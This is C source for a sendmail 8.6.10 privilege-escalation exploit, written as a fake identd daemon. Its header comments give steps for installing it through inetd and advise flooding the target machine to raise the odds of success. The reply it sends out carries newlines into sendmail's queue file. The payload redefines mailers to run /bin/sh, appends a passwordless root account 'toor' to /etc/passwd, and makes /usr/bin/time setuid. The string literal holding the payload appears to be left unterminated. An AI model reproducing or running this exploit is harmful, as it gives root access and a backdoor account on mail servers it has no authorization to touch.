/* 8.6.10 sendmail attacker
 * 
 * gcc ident.c -o ident
 * add the following line to your /etc/inetd.conf:
 * ident  stream tcp  nowait  root  /tmp/ident  in.identd
 * then kill -HUP inetd
 *
 * Not for not public use or disclosure.
 *
 * This is a sendmail 8.6.10 attack based on the problems that 
 * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting  
 * information given to it by identd, which included bogus characters
 * and newlines that it later appended to the queue file.  Sendmail 8.6.10 
 * supposedly "strips" newlines before they are written, however, it 
 * converts them to spaces, and the following code demonstrates that 
 * quick work-around patches are never ever stable...
 *
 * NOTES:  This hack only works when sendmail queues up the message for
 * later delivery.  This depends on the configuration of sendmail.cf and
 * on the machine loading.  If you can do something to drag the machine to
 * its knees, then fire off this attack, you stand a much better chance of
 * success.
 * 
 * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
 * default user to bin.bin), this exploit will not work.  
 * 
 * Also, since this only works when sendmail queues up the message for
 * later delivery, the time of execution is dependant on how sendmail
 * has been configured in sendmail.cf and machine load.  Heavily loaded
 * machines (or machines that have been intentionally flooded) have a 
 * greater possibility of this exploit working.
 *
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if
 * the client doesn't provide the port pairs.
 */

#define TIMEOUT 120

/* PROCINFO_BUFFER_SIZE must be bigger than 80 */

#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void
main ()
{
    unsigned long here, there;
    struct fd_set fdset;
    struct timeval timeout;
    char buffer[OUTPUT_BUFFER_SIZE];
    char inbuffer[SOCKET_BUFFER_SIZE];
    int len;
    int fd;

    FD_ZERO (&fdset);
    FD_SET (0, &fdset);
    timeout.tv_sec = TIMEOUT;
    timeout.tv_usec = 0;

    select (1, &fdset, NULL, NULL, &timeout);
    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
    if (len <= 0)
    exit (0);
    FD_SET (0, &fdset);

    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
    "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
    P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
    write (1, buffer, strlen (buffer));
    exit (0);
}